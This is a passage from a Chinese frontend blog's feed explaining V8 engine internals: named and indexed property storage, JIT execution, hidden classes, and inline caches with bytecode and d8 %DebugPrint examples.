alt="https://res.craft.do/user/full/6f904f60-12ad-396f-3e1d-d95d9b03bd08/doc/06303CE3-9E74-4AC9-A169-5F37BEFA7856/364A9FC2-6E22-44B0-9DC9-78161F7095A2_2/kAhypj9Acmd9SoXyWaamDxxqK8DstBcxmHEu8tnuZmoz/image_a6o-HosWZ7.png" /><figcaption>https://res.craft.do/user/full/6f904f60-12ad-396f-3e1d-d95d9b03bd08/doc/06303CE3-9E74-4AC9-A169-5F37BEFA7856/364A9FC2-6E22-44B0-9DC9-78161F7095A2_2/kAhypj9Acmd9SoXyWaamDxxqK8DstBcxmHEu8tnuZmoz/image_a6o-HosWZ7.png</figcaption></figure><p></p><p>c - 对象内属性+慢属性</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image_mJvvR0BUJC.png" alt="https://res.craft.do/user/full/6f904f60-12ad-396f-3e1d-d95d9b03bd08/doc/06303CE3-9E74-4AC9-A169-5F37BEFA7856/5BB29943-25AB-4733-9B6A-EE1374F83312_2/yWxrktmhSeHqvzHzryYAExPLqDrh3TGk5cU105qIhHEz/image_mJvvR0BUJC.png" /><figcaption>https://res.craft.do/user/full/6f904f60-12ad-396f-3e1d-d95d9b03bd08/doc/06303CE3-9E74-4AC9-A169-5F37BEFA7856/5BB29943-25AB-4733-9B6A-EE1374F83312_2/yWxrktmhSeHqvzHzryYAExPLqDrh3TGk5cU105qIhHEz/image_mJvvR0BUJC.png</figcaption></figure><p></p></section>
<section><h2>结论与启示<a href="#结论与启示"><span>#</span></a></h2><ul>
<li>属性分为命名属性和可索引属性，命名属性存放在 <code>Properties</code> 中，可索引属性存放在 <code>Elements</code> 中。</li>
<li>命名属性有三种不同的存储方式：对象内属性、快属性和慢属性，前两者通过线性查找进行访问，慢属性通过哈希存储的方式进行访问。</li>
</ul></section>]]></content>
    </entry>
    <entry>
      <id>https://an2333.com/posts/frontend/browser/v8/v8%E5%A6%82%E4%BD%95%E6%89%A7%E8%A1%8Cjavascript%E4%BB%A3%E7%A0%81%E7%9A%84/</id>
      <title type="text">V8如何执行JavaScript代码的</title>
      <published>2025-05-25T00:00:00.000Z</published>
      <updated>2025-05-25T00:00:00.000Z</updated>
      <author><name>Annan</name></author>
      <link rel="alternate" href="https://an2333.com/posts/frontend/browser/v8/v8%E5%A6%82%E4%BD%95%E6%89%A7%E8%A1%8Cjavascript%E4%BB%A3%E7%A0%81%E7%9A%84/"/>
      <summary type="text">V8 是什么，以及它如何把 JavaScript 编译成机器码并执行。</summary>
      <content type="html"><![CDATA[<p><a href="https://v8.dev/docs" target="_blank">V8 Blog</a></p>
<section><h3>什么是V8<a href="#什么是v8"><span>#</span></a></h3><p>V8是一个由 Google 开发的开源 JavaScript 引擎，目前用在 Chrome 浏览器和 Node.js 中，其核心功能是执行易于人类理解的 JavaScript 代码。</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image.png" alt="img" /><figcaption>img</figcaption></figure><p></p><section><h4>V8是如何执行JavaScript代码的<a href="#v8是如何执行javascript代码的"><span>#</span></a></h4><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/202505251750213.png" alt="img" /><figcaption>img</figcaption></figure><p></p><p>核心步骤分为编译和执行两步，首先需要将JavaScript代码转换为低级中间代码或者机器能理解的机器码，执行转换后的代码并输出结果。</p><p>可以将V8看成是一个虚拟机，通过模拟计算机的各种功能来实现代码的执行，比如模拟计算机的CPU、堆栈、寄存器等。虚拟机还具有它自己的一套指令系统。</p></section><section><h4>高级代码为什么需要先编译后执行？<a href="#高级代码为什么需要先编译后执行"><span>#</span></a></h4><p>CPU只能执行机器码，CPU可以被认为是一个非常小的运算机器，我们可以给机器发送1000100111011000的二进制指令。当执行到这条指令时，就会执行一个操作。</p><p>为了完成复杂任务，CPU存在一大堆指令，这一大堆指令就叫做指令集。指令集都是二进制代码，对于CPU来说它可以认识，但是对于程序员来说二进制难以阅读和记忆，于是在指令集基础上，有了会变指令集。可以参考如下</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>1000100111011000</span><span><span> </span><span>机器指令</span></span></div></div><div><div><div>2</div></div><div><span><span>mov</span><span> </span><span>ax</span><span>,</span><span>bx</span><span> </span><span>汇编指令</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>但是CPU并不能直接识别汇编语言，需要一个翻译官(汇编编译器)将汇编语言翻译为机器可以识别的二进制</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/202505251750067.png" alt="img" /><figcaption>img</figcaption></figure><p></p><p>虽然汇编已经将二进制代码进行了一次抽象，但是想要实现一个功能还需要大量汇编语言。</p><p>由于不同的CPU有不同的指令集，要使用机器语言或者汇编语言实现一个功能，需要在每种CPU下编写特定的汇编代码。</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/202505251750616.png" alt="img" /><figcaption>img</figcaption></figure><p></p><p>而且在编写汇编代码时，还需要了解和处理器、架构相关的硬件知识，比如需要操作寄存器、内存、操作CPU等。大部分程序员在编写应用时指向专心处理业务逻辑，不想过多理会处理器架构相关细节。</p><p>因此高级语言应运而生了。如C、C++、Java、C#、Python、JavaScript 等。可以适应不同CPU架构的语言，屏蔽了计算机架构细节，可以专心处理业务逻辑。</p><p>与汇编语言一样，处理器无法识别高级语言编写的代码，通常有两种方式来执行这些代码。</p><p>第一种是解释执行，需要先将输入的源代码通过解析器编译成中间代码，之后直接使用解释器解释执行中间代码，然后直接输出结果。</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/202505251750328.png" alt="img" /><figcaption>img</figcaption></figure><p></p><p>第二种是编译执行。采用这种方式时，也需要先将源代码转换为中间代码，然后我们的编译器再将中间代码编译成机器代码。通常编译成的机器代码是以二进制文件形式存储的，需要执行这段程序的时候直接执行二进制文件就可以了。还可以使用虚拟机将编译后的机器代码保存在内存中，然后直接执行内存中的二进制代码。</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/202505251750730.png" alt="img" /><figcaption>img</figcaption></figure><p></p><p>以上是计算机执行高级语言的两种基本的方式：解释执行和编译执行。但是不同语言，这个过程会有差异。</p><blockquote><p>比如要执行 C 语言编写的代码，你需要将其编译为二进制代码的文件，然后再直接执行二进制代码。而对于像 Java 语言、JavaScript 语言等，则需要不同虚拟机，模拟计算机的这个编译执行流程。执行 Java 语言，需要经过 Java 虚拟机的转换，执行 JavaScript 需要经过 JavaScript 虚拟机的转换。</p></blockquote><blockquote><p>而对于JavaScript而言，虚拟机也是多个的，苹果用的JavaScriptCore，Firefox 使用了 TraceMonkey 虚拟机，而 Chrome 则使用了 V8 虚拟机。</p></blockquote></section></section>
<section><h3>V8是如何执行JavaScript代码的？<a href="#v8是如何执行javascript代码的-1"><span>#</span></a></h3><p>V8作为JavaScript虚拟机的一种，是如何执行JavaScript的呢？ V8并没有采用解释或编译的其中一种手段，而是将两者混合起来，被称为JIT(Just In Time)技术。</p><p>这是一种权衡策略，解释和编译各有优缺点，解释启动快，但执行慢。编译启动慢，但是执行快。下面是V8执行JavaScript的流程图。</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/202505251750025.png" alt="img" /><figcaption>img</figcaption></figure><p></p><p>可以看左图部分，在V8启动执行JavaScript之前，它需要准备一些基础环境，这些基础环境包括了堆空间、栈空间、全局执行上下文、全局作用域、消息循环系统、内置函数等。比如：</p><ul>
<li>JavaScript全局上下文包含了执行过程中全局信息，比如一些内置函数，全局变量等信息。</li>
<li>执行过程中的数据都需要存放在内存中，全局作用域包含一些全局变量。</li>
<li>V8用的是堆和栈的内存管理模式，因此V8需要初始化内存中的堆和栈结构。</li>
<li>还需要初始化消息循环系统，这是让V8系统动起来的关键，消息循环系统包含消息驱动器和消息队列，就像V8的大脑，不断接受消息并决策如何处理消息(比如请求、setTimeout、事件之类的)</li>
</ul><p>在基础环境准备好后，V8就可以开始执行JavaScript代码了。</p><p>首先V8会接收到需要执行的JavaScript源码，但是对于V8而言这些代码只是一堆字符串，想要理解这些字符串就需要结构化这段字符串，通过分析(词法分析(tokenize)-&gt;语法分析(parse))分解为AST。AST是V8可以理解的结构。</p><p>生成AST的同时，V8还会生成相关作用域(执行上下文)，在作用域中存放相关变量。</p><p>在有AST和作用域后，解释器就可以生成字节码了，字节码是介于AST和机器代码的中间代码。</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/202505251750330.png" alt="img" /><figcaption>img</figcaption></figure><p></p><p>解释器可以直接逐行解释执行字节码，或者编译器将其编译为二进制的机器码执行。</p><p>在解释器下面有个机器人，这是用于监控解释器执行状态的模块，在解释器执行字节码时，如果发现某段代码被多次重复执行，这段代码就会被标记为热点代码。</p><p>当某段代码被标记为热点代码后，V8就会将这段字节码丢给编译器，编译器会将这段字节码编译为二进制代码，同时对编译后的二进制代码进行优化操作，使得这段二进制机器码执行效率大幅提升。如果再执行到这段热点代码时，V8会优先执行优化后的二进制机器码，这样整体的执行效率就会大幅提升。</p></section>]]></content>
    </entry>
    <entry>
      <id>https://an2333.com/posts/frontend/browser/v8/%E5%86%85%E8%81%94%E7%BC%93%E5%AD%98ic/</id>
      <title type="text">V8-隐藏类和内联缓存IC</title>
      <published>2025-05-25T00:00:00.000Z</published>
      <updated>2025-05-25T00:00:00.000Z</updated>
      <author><name>Annan</name></author>
      <link rel="alternate" href="https://an2333.com/posts/frontend/browser/v8/%E5%86%85%E8%81%94%E7%BC%93%E5%AD%98ic/"/>
      <summary type="text">对于以上的代码，底层是如何实现的呢？</summary>
      <content type="html"><![CDATA[<div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function loadX(o) {</span></div></div><div><div><div>2</div></div><div><span><span>  </span></span><span>return o.x</span></div></div><div><div><div>3</div></div><div><span>}</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span>loadX({ x: 1 })</span></div></div><div><div><div>6</div></div><div><span>loadX({ x: 2 })</span></div></div></code></pre><div><div></div><div></div></div></figure></div>
<p>对于以上的代码，底层是如何实现的呢？</p>
<p>首先我们看看TC39中ECMA262怎么描述的
<a href="https://tc39.es/ecma262/#sec-property-attributes" target="_blank">ECMA262</a>所描述的流程：</p>
<p>函数内部通过调用GET算法获取属性值。但是这存在一个问题，跟现代VM的速度差距太大了。这是因为解释器(生成字节码的)没有任何记忆，如下图</p>
<p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/v8-vs-ox.png" alt="https://mrale.ph/images/2015-01-11/v8-vs-ox.png" /><figcaption>https://mrale.ph/images/2015-01-11/v8-vs-ox.png</figcaption></figure><p></p>
<p>找出给定属性在任意对象的位置是成本很高的，我们应当让解释器可以学习记忆，简化查找过程，最好能一次就查找到。</p>
<p>来看看V8获取o.x的流程：</p>
<p>查找对象O的隐藏类，再通过隐藏类查找x属性偏移量，然后根据偏移量获取属性值。</p>
<section><h3>什么是隐藏类？<a href="#什么是隐藏类"><span>#</span></a></h3><p><a href="https://v8.dev/docs/hidden-classes" target="_blank">V8中的隐藏类</a>
V8会给每一个对象都分配一个隐藏类(Hidden Classes)， 用于描述对象的形状。</p><blockquote><p>intelligent design:  推断代码背后的思想(不知道你会怎么写，先假设，然后根据你的写法再去做优化)</p></blockquote><p>为什么要有隐藏类？</p><p>对于C++这类静态类型语言，变量类型在定义时就决定了。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>int</span><span> x </span><span>=</span><span> </span><span>5</span><span> ;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>C++编译器通过一条指令就可以知道变量x的类型和内存位置。</p><p>但由于JavaScript并不是预编译的，因此在JavaScript中相同的操作，每次执行程序时，引擎都必须检查它是整数还是浮点数，或者任何其他有效的数据类型。所以JavaScript中的每条指令都要经过几次类型检查和转换，这会影响到它的执行速度。</p><p>隐藏类在概念上类似于典型的面向对象编程语言中的类。但这个类并不是提前预知或定义的，而是在创建对象时即时创建隐藏类，并根据对象的变化而动态更新。隐藏类用于标识对象特征，也对 V8 编译器的优化和内联缓存起到非常重要的作用。</p><section><h4>总结<a href="#总结"><span>#</span></a></h4><ul>
<li>总是以相同的顺序初始化对象成员，能充分利用相同的隐藏类，进而提高性能。</li>
<li>增加或删除可索引属性，不会引起隐藏类的变化，稀疏的可索引属性会退化为哈希存储。</li>
<li>delete 操作可能会改变对象的结构，导致引擎将对象的存储方式降级为哈希表存储的方式，不利于 V8 的优化，应尽可能避免使用（当沿着属性添加的反方向删除属性时，对象不会退化为哈希存储）。</li>
</ul><p>隐藏类是为了辅助进一步压缩重复查找的过程，提高对象的查找效率，这个加速函数执行的策略就是<strong>内联缓存 (Inline Cache)</strong>，简称为 IC。</p></section></section>
<section><h3>什么是内联缓存<a href="#什么是内联缓存"><span>#</span></a></h3><p>在V8执行函数时，会观察函数中一些调用点 (CallSite) 上的关键的中间数据(如上文所说，可以认为是一种记忆)，当下次再执行时，V8可以利用这些中间数据，有效提升<code>入参为相同隐藏类(的对象)的函数</code><strong>重复执行</strong>的执行效率。</p><p>分析流程如下</p><p>IC会为每个函数维护一个反馈向量(FeedBack Vector)，可以认为每个函数对应了一张表如下</p><p><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image_JbdKvhINKM.png" alt="" /></p><p>每张表由很多项构成，每一项成为一个插槽(Slot)。V8会将loadX的中间数据写入反馈向量中的插槽里。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function loadX(o) {</span></div></div><div><div><div>2</div></div><div><span><span>   </span></span><span>o.y = 4</span></div></div><div><div><div>3</div></div><div><span><span>   </span></span><span>return o.x</span></div></div><div><div><div>4</div></div><div><span><span> </span></span><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>V8执行这段函数时，会认为<code>o.y = 4</code> 及 <code>o.x</code>为调用点(CallSite)，因为他们调用了对象及属性，这时V8就会在loadX函数的反馈向量里给每个调用点分配一个插槽。</p><p>每个插槽中包含了插槽索引、类型、状态及隐藏类地址(map)、以及属性的偏移量。比如上面两个函数中都使用了对象o，那么这两个插槽的map指向的是同一个隐藏类，地址是相同的。</p><p><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image_3011-GVTM0.png" alt="" /></p><p>让我们来通过字节码来分析在V8执行loadX函数时，是如何将关键数据写入到反馈向量中的。</p><p>loadX的代码如下所示</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function loadX(o) {</span></div></div><div><div><div>2</div></div><div><span><span>    </span></span><span>return o.x</span></div></div><div><div><div>3</div></div><div><span>}</span></div></div><div><div><div>4</div></div><div><span>loadX({x:1})</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>通过d8命令<code>d8 --print-bytecode &lt;js文件&gt;</code></p><p>可以看到上述代码转换成的字节码，如下</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>GetNamedProperty a0, [0], [0]</span></div></div><div><div><div>2</div></div><div><span>Return</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>他的具体含义是</p><ul>
<li>GetNamedProperty，取出参数a0中第一个属性值，并将属性值放到累加器中。a0后第一个[0]代表取参数的第一个属性值，第二个[0]就和反馈向量相关了，代表将操作的中间数据插入反馈向量的第一个插槽里。</li>
<li>Return 返回累加器中的属性值。</li>
</ul><blockquote><p>累加器：一个非常特殊的寄存器，用于保存中间结果。</p></blockquote><p><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image_wO548iXzsL.png" alt="" /></p><p>观察上图会发现：</p><ul>
<li>map一栏缓存的是o对象的隐藏类地址</li>
<li>type代表当前的操作类型，o.x这种访问对象属性的操作被称为LOAD。</li>
<li>state代表当前是单态(monomorphic)</li>
<li>offset缓存了属性x的偏移量</li>
</ul><p>V8除了缓存o.x这种LOAD类型操作之外，还会缓存存储类型(STORE)和函数调用(CALL)类型的中间数据。</p><p>以下面的代码为例</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function</span><span> </span><span>foo</span><span>(){}</span></div></div><div><div><div>2</div></div><div><span>function</span><span> </span><span>loadX</span><span><span>(</span><span>o</span><span>) {</span></span></div></div><div><div><div>3</div></div><div><span><span>    </span></span><span>o</span><span>.</span><span>y</span><span> </span><span>=</span><span> </span><span>4</span></div></div><div><div><div>4</div></div><div><span>    </span><span>foo</span><span>()</span></div></div><div><div><div>5</div></div><div><span>    </span><span>return</span><span><span> </span><span>o</span><span>.</span></span><span>x</span></div></div><div><div><div>6</div></div><div><span>}</span></div></div><div><div><div>7</div></div><div><span>loadX</span><span>({</span><span>x</span><span>:</span><span>1</span><span>,</span><span>y</span><span>:</span><span>4</span><span>})</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>将上述代码转换为字节码</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>LdaSmi [</span><span>4</span><span>]</span></div></div><div><div><div>2</div></div><div><span>SetNamedProperty a0, [</span><span>0</span><span>], [</span><span>0</span><span>]</span></div></div><div><div><div>3</div></div><div><span>LdaGlobal [</span><span>1</span><span>], [</span><span>2</span><span>]</span></div></div><div><div><div>4</div></div><div><span>Star0</span></div></div><div><div><div>5</div></div><div><span>CallUndefinedReceiver0 r0, [</span><span>4</span><span>]</span></div></div><div><div><div>6</div></div><div><span>GetNamedProperty a0, [</span><span>2</span><span>], [</span><span>6</span><span>]</span></div></div><div><div><div>7</div></div><div><span>Return</span></div></div></code></pre><div><div></div><div></div></div></figure></div><ol>
<li>首先是</li>
</ol><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>LdaSmi [</span><span>4</span><span>]</span></div></div><div><div><div>2</div></div><div><span>SetNamedProperty a0, [</span><span>0</span><span>], [</span><span>0</span><span>]</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>具体是将常数4加载到累加器中，然后通过SetNamedProperty将累加器中的4赋给o.y，这是一个存储(STORE)类型操作，将中间数据写入反馈向量的第1个插槽中。</p><ol>
<li>执行foo</li>
</ol><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>LdaGlobal [</span><span>1</span><span>], [</span><span>2</span><span>]</span></div></div><div><div><div>2</div></div><div><span>Star0</span></div></div><div><div><div>3</div></div><div><span>CallUndefinedReceiver0 r0, [</span><span>4</span><span>]</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>加载foo函数对象的地址到累加器中，这是通过LdaGlobal来完成的，然后V8将中间结果存放到反馈向量的第3个插槽，这是一个存储操作。</p><p>执行 CallUndefinedReceiver0调用foo函数，并将调用过程数据写入反馈向量的第5个插槽中，这是一个调用(CALL)类型操作。</p><ol>
<li>查询o.x</li>
</ol><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>GetNamedProperty a0, [</span><span>2</span><span>], [</span><span>6</span><span>]</span></div></div><div><div><div>2</div></div><div><span>Return</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>从a0参数中拿出第二个属性，并将中间数据写入反馈向量的第6个插槽中，这是一个加载(LOAD)类型操作。</p><p>说了这么多，它记录的实际意义是什么呢？</p><p>就是再loadX再次被执行，且入参的对象隐藏类与此前执行过的对象隐藏类相同时，在执行到<code>return o.x</code> 时，可以直接去反馈向量中根据偏移量直接查找到x属性所在位置，这样就可以大大提高V8的执行效率。</p></section>
<section><h3>多态和超态<a href="#多态和超态"><span>#</span></a></h3><p>在之前的案例中，我们说到相同对象形状同时有相同隐藏类的条件下，重复执行会降低查找效率。</p><p>但是如果是多种对象呢，V8会怎么处理这种情况。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function</span><span> </span><span>loadX</span><span><span>(</span><span>o</span><span>) {</span></span></div></div><div><div><div>2</div></div><div><span>    </span><span>return</span><span><span> </span><span>o</span><span>.</span></span><span>x</span></div></div><div><div><div>3</div></div><div><span>}</span></div></div><div><div><div>4</div></div><div><span>var</span><span><span> </span><span>o</span><span> </span></span><span>=</span><span> { </span><span>x</span><span>:</span><span> </span><span>1</span><span>,</span><span>y</span><span>:</span><span>3</span><span>}</span></div></div><div><div><div>5</div></div><div><span>var</span><span><span> </span><span>o1</span><span> </span></span><span>=</span><span> { </span><span>x</span><span>:</span><span> </span><span>3</span><span>, </span><span>y</span><span>:</span><span>6</span><span>,</span><span>z</span><span>:</span><span>4</span><span>}</span></div></div><div><div><div>6</div></div><div><span>for</span><span> (</span><span>var</span><span><span> </span><span>i</span><span> </span></span><span>=</span><span> </span><span>0</span><span><span>; </span><span>i</span><span> </span></span><span>&lt;</span><span> </span><span>10000</span><span><span>; </span><span>i</span></span><span>++</span><span>) {</span></div></div><div><div><div>7</div></div><div><span>    </span><span>loadX</span><span><span>(</span><span>o</span><span>)</span></span></div></div><div><div><div>8</div></div><div><span>    </span><span>loadX</span><span><span>(</span><span>o1</span><span>)</span></span></div></div><div><div><div>9</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>可以看到o和o1形状是完全不同的。</p><p>当第一次执行loadX时，v8会将o的隐藏类记录在插槽中。但当第二次执行时，入参是o1，通过与插槽中隐藏类的比对发现并不是相同的隐藏类，此时V8就无法使用反馈向量中记录的偏移量信息了。</p><p>对于这种情况，V8会将新的隐藏类也记录在反馈向量中，同时记录属性的偏移量，反馈向量此时第一个槽中就包含了两个隐藏类及偏移量。如下图所示</p><p><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image_5FdFlQAIlO.png" alt="" />
</p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image_LKSRhAqUb0.png" alt="https://res.craft.do/user/full/6f904f60-12ad-396f-3e1d-d95d9b03bd08/doc/2F4E1D78-7B67-47A7-BC77-FB8B38D8D52D/BDF9A6B0-95E0-4FCF-88F0-B4130ED377FA_2/6PMqoGWjDu2rAKZsyBmcNJP9O4NyeExOBrZyreZkjEsz/image_LKSRhAqUb0.png" /><figcaption>https://res.craft.do/user/full/6f904f60-12ad-396f-3e1d-d95d9b03bd08/doc/2F4E1D78-7B67-47A7-BC77-FB8B38D8D52D/BDF9A6B0-95E0-4FCF-88F0-B4130ED377FA_2/6PMqoGWjDu2rAKZsyBmcNJP9O4NyeExOBrZyreZkjEsz/image_LKSRhAqUb0.png</figcaption></figure><p></p><p>当再次执行loadX中的o.x语句时，同样会查找反馈向量表，会发现第一个槽中记录了两个隐藏类。这时V8需要拿这个新的隐藏类和第一个插槽中的两个隐藏类来挨个比较，若相同，就用对应的偏移量，若不同则将新的隐藏类和偏移量添加到反馈向量的第一个插槽中。</p><blockquote><p>若一个插槽中只包含1个隐藏类，这种状态叫单态。</p></blockquote><blockquote><p>若一个插槽中包含了2~4个隐藏类，这种状态叫多态。</p></blockquote><blockquote><p>若一个插槽中超过了4个隐藏类，这种状态叫超态。</p></blockquote><p>若一个函数一直是单态的，其执行效率一定是最好的。如果是多态的情况，V8会用线性结构存储，可以挨个查找。若是超态的情况，则V8会采用hash表的结构存储。</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image_lqBsnb1NII.png" alt="https://res.craft.do/user/full/6f904f60-12ad-396f-3e1d-d95d9b03bd08/doc/2F4E1D78-7B67-47A7-BC77-FB8B38D8D52D/3547C94E-1658-4492-BB61-2E80545C21BF_2/hkBDM9O7fv9x5quyQyxro5rbzXBiXyDFPlukaeAtoqAz/image_lqBsnb1NII.png" /><figcaption>https://res.craft.do/user/full/6f904f60-12ad-396f-3e1d-d95d9b03bd08/doc/2F4E1D78-7B67-47A7-BC77-FB8B38D8D52D/3547C94E-1658-4492-BB61-2E80545C21BF_2/hkBDM9O7fv9x5quyQyxro5rbzXBiXyDFPlukaeAtoqAz/image_lqBsnb1NII.png</figcaption></figure><p></p></section>
<section><h3>总结<a href="#总结-1"><span>#</span></a></h3><p>IC的本质就是让每个函数都有记忆，当第一次执行函数时，会将函数中的存储、加载、调用相关的中间结果保存到反馈向量中。当再次执行时，V8就会去反馈向量中查询相关中间信息，如果命中了，就可以直接利用。</p><p>单态的性能优于多态和超态。当你在写一个loadX(o)的函数时，尽量不要使用多个不同隐藏类的o对象。</p><p>单态不仅仅只应用于此处，对于JavaScript这门动态语言而言，引擎想要做优化，能准确推断数据结构非常重要，比如函数入参一直是字符串，那就会去调用内置方法中处理字符串的部分，次数多了就会转换为机器码。如果一会是字符串一会是数字，就会触发反优化，耗费性能。</p></section>]]></content>
    </entry>
    <entry>
      <id>https://an2333.com/posts/frontend/browser/v8/%E5%A6%82%E4%BD%95%E9%80%9A%E8%BF%87d8%E6%B7%B1%E5%85%A5%E5%88%86%E6%9E%90%E5%AF%B9%E8%B1%A1/</id>
      <title type="text">如何通过d8深入分析对象</title>
      <published>2025-05-25T00:00:00.000Z</published>
      <updated>2025-05-25T00:00:00.000Z</updated>
      <author><name>Annan</name></author>
      <link rel="alternate" href="https://an2333.com/posts/frontend/browser/v8/%E5%A6%82%E4%BD%95%E9%80%9A%E8%BF%87d8%E6%B7%B1%E5%85%A5%E5%88%86%E6%9E%90%E5%AF%B9%E8%B1%A1/"/>
      <summary type="text">为了更深入理解JavaScript中的对象，需要安装d8(V8调试工具)</summary>
      <content type="html"><![CDATA[<p>为了更深入理解JavaScript中的对象，需要安装d8(V8调试工具)</p>
<p><a href="https://blog.csdn.net/qq_33925054/article/details/128583038" target="_blank">mac安装指导</a>
<a href="https://time.geekbang.org/column/article/219418" target="_blank">windows安装指导</a></p>
<p>创建文件<code>test.js</code></p>
<div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>obj</span><span> </span></span><span>=</span><span> { </span><span>"second"</span><span>:</span><span>2</span><span>, </span><span>2</span><span>:</span><span> </span><span>"b"</span><span>, </span><span>1</span><span>:</span><span> </span><span>"a"</span><span>, </span><span>"first"</span><span>:</span><span> </span><span>1</span><span> };</span></div></div><div><div><div>2</div></div><div><span>%</span><span>DebugPrint</span><span><span>(</span><span>obj</span><span>);</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div>
<p>执行命令<code> d8 --allow-natives-syntax test.js</code></p>
<p><a href="https://gist.github.com/kevincennis/0cd2138c78a07412ef21" target="_blank"><strong>d8命令参数解释</strong></a></p>
<p><code>—allow-natives-syntax</code> 的含义是允许调用V8内部调试方法。通过<code>%DebugPrint()</code> 这种方式我们可以看到相对于控制台memory内存快照中更深度的信息。</p>
<div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>DebugPrint</span><span>:</span></span></div></div><div><div><div>2</div></div><div><span>0x3c9d0010b481</span><span>: [</span><span>JS_OBJECT_TYPE</span><span>]</span></div></div><div><div><div>3</div></div><div><span> </span><span>-</span><span><span> </span><span>map</span><span>: </span></span><span>0x3c9d0025a4dd</span><span> </span><span>&lt;</span><span><span>Map</span><span>[</span></span><span>20</span><span>](</span><span>HOLEY_ELEMENTS</span><span>)</span><span>&gt;</span><span><span> [</span><span>FastProperties</span><span>] </span></span><span>`隐藏类`</span></div></div><div><div><div>4</div></div><div><span> </span><span>-</span><span><span> </span><span>prototype</span><span>: </span></span><span>0x3c9d00244a09</span><span> </span><span>&lt;</span><span><span>Object</span><span> </span><span>map</span><span> </span></span><span>=</span><span> </span><span>0x3c9d002440c5</span><span>&gt;</span></div></div><div><div><div>5</div></div><div><span> </span><span>-</span><span><span> </span><span>elements</span><span>: </span></span><span>0x3c9d0010b4b1</span><span> </span><span>&lt;</span><span><span>FixedArray</span><span>[</span></span><span>20</span><span>]</span><span>&gt;</span><span> [</span><span>HOLEY_ELEMENTS</span><span>]</span></div></div><div><div><div>6</div></div><div><span> </span><span>-</span><span><span> </span><span>properties</span><span>: </span></span><span>0x3c9d000022a9</span><span> </span><span>&lt;</span><span><span>FixedArray</span><span>[</span></span><span>0</span><span>]</span><span>&gt;</span></div></div><div><div><div>7</div></div><div><span> </span><span>-</span><span><span> </span><span>All</span><span> </span><span>own</span><span> </span></span><span>properties</span><span><span> (</span><span>excluding</span><span> </span><span>elements</span><span>): { </span></span><span>`命名属性`</span></div></div><div><div><div>8</div></div><div><span><span>    </span></span><span>0x3c9d00007591</span><span>:</span><span><span> [</span><span>String</span><span>] </span></span><span>in</span><span><span> </span><span>ReadOnlySpace</span><span>: #</span><span>second</span><span>: </span></span><span>2</span><span><span> (</span><span>const</span><span> </span><span>data</span><span> </span><span>field</span><span> </span></span><span>0</span><span>), </span><span>location</span><span>:</span><span> </span><span>in</span><span>-</span><span>object</span></div></div><div><div><div>9</div></div><div><span>    </span><span>0x3c9d00005755</span><span><span>: [</span><span>String</span><span>] </span></span><span>in</span><span><span> </span><span>ReadOnlySpace</span><span>: #</span><span>first</span><span>: </span></span><span>1</span><span><span> (</span><span>const</span><span> </span><span>data</span><span> </span><span>field</span><span> </span></span><span>1</span><span>), </span><span>location</span><span>:</span><span> </span><span>in</span><span>-</span><span>object</span></div></div><div><div><div>10</div></div><div><span><span> </span></span><span>}</span></div></div><div><div><div>11</div></div><div><span> </span><span>-</span><span><span> </span><span>elements</span><span>: </span></span><span>0x3c9d0010b4b1</span><span> 